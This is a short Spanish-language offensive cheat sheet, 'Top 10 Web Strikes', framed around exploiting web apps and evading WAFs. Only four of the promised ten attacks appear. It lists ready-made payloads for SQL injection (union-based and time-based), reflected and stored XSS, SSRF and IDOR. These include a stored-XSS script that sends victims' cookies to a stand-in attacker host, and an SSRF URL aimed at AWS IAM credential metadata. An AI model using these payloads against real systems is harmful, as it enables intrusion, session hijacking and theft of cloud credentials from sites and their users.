# Top 10 Web Strikes

No dependas solo de Nuclei. Comprender el ataque permite explotarlo y evadir WAFs.

## 1. SQL Injection (SQLi)

Engañar a la base de datos para ejecutar nuestros comandos.

### Union-Based (Extracción de datos)

1. **Detección**: `' OR 1=1-- -`
2. **Columnas**: `' ORDER BY 1-- -`, `' ORDER BY 2-- -`... hasta error.
3. **Extracción**: `' UNION SELECT 1,database(),3,4-- -`

### Blind (Deletreo de datos)

Si no ves el error.

* **Time-Based**: `' WAITFOR DELAY '0:0:5'--` (MSSQL) o `' + sleep(5) + '` (MySQL).

## 2. Cross-Site Scripting (XSS)

### Reflected

El payload viene en la URL.

* **Prueba**: `<script>alert(origin)</script>`
* **Bypass**: `<img src=x onerror=alert(1)>`

### Stored (Crítico)

El payload se guarda en la DB (perfiles, comentarios).

* **Payload de robo de cookies**:

  ```html
  <script>fetch('http://atacante.com/'+document.cookie)</script>
  ```

## 3. Server-Side Request Forgery (SSRF)

Hacer que el servidor haga peticiones por nosotros. Ideal para atacar la red interna o Metadata de nube.

* **AWS Metadata**: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
* **Scan Interno**: Fuzzear puertos locales `http://localhost:22` o `http://192.168.1.1:80`.

## 4. IDOR (Insecure Direct Object Reference)

Cambiar el ID para ver datos de otro usuario.

* `GET /api/users/123` -> Cambiar a `124`.
* **Tip**: Prueba decodificar IDs en Base64 o GUIDs predecibles.
